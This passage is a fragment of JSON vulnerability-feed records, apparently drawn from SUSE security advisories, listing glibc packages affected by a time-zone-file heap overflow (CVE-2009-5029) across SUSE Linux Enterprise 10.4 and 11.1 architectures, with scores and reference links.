Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-dceext-x86-2.4-31.97.1.ia64.rpm", "packageName": "glibc-dceext-x86", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-dceext-2.4-31.97.1.ppc.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-devel-2.4-31.97.1.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i686", "packageFilename": "glibc-2.4-31.97.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-info-2.4-31.97.1.s390x.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "nscd-2.4-31.97.1.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "nscd-2.4-31.97.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i686", "packageFilename": "glibc-2.4-31.97.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-devel-2.4-31.97.1.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-2.4-31.97.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-profile-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-profile-64bit", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-dceext-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-dceext-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-html-2.4-31.97.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-info-2.4-31.97.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-html-2.4-31.97.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-locale-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-locale-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-2.4-31.97.1.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-profile-2.4-31.97.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "nscd-2.4-31.97.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-profile-2.4-31.97.1.ppc.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-dceext-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-html-2.4-31.97.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-2.4-31.97.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-i18ndata-2.4-31.97.1.ia64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-locale-2.4-31.97.1.ppc.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-2.4-31.97.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-dceext-2.4-31.97.1.ia64.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-locale-2.4-31.97.1.ia64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-dceext-2.4-31.97.1.s390x.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "nscd-2.4-31.97.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.4-31.97.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i686", "packageFilename": "glibc-devel-2.4-31.97.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-locale-2.4-31.97.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-locale-x86-2.4-31.97.1.ia64.rpm", "packageName": "glibc-locale-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-2.4-31.97.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-devel-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-devel-64bit", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-dceext-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-dceext-64bit", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-html-2.4-31.97.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ppc", "packageFilename": "glibc-profile-64bit-2.4-31.97.1.ppc.rpm", "packageName": "glibc-profile-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "s390x", "packageFilename": "glibc-32bit-2.4-31.97.1.s390x.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-info-2.4-31.97.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.4-31.97.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "ia64", "packageFilename": "glibc-info-2.4-31.97.1.ia64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "arch": "i586", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}], "description": "The following bug has been fixed:\n\n * Specially crafted time zone files could cause a heap\n overflow in glibc.\n", "edition": 1, "reporter": "Suse", "published": "2012-01-05T12:08:52", "title": "Security update for glibc (important)", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "suse", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029"], "modified": "2012-01-05T12:08:52", "id": "SUSE-SU-2012:0023-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2012-01/msg00030.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-04T11:56:09", "references": ["https://bugzilla.novell.com/735850", "https://bugzilla.novell.com/678195", "http://download.novell.com/patch/finder/?keywords=465d0206a0a64cb1c71ef81d34e113c1"], "affectedPackage": [{"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-profile-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-devel-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.34.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-devel-32bit-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "nscd-2.11.1-0.34.1.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-info-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-x86-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-devel-32bit-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-devel-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-devel-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.34.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "nscd-2.11.1-0.34.1.s390x.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-profile-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-html-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-locale-32bit-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-html-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-info-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-profile-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.34.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.34.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-info-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.34.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.34.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-locale-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.34.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-32bit-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-info-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.34.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.34.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-html-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.34.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": 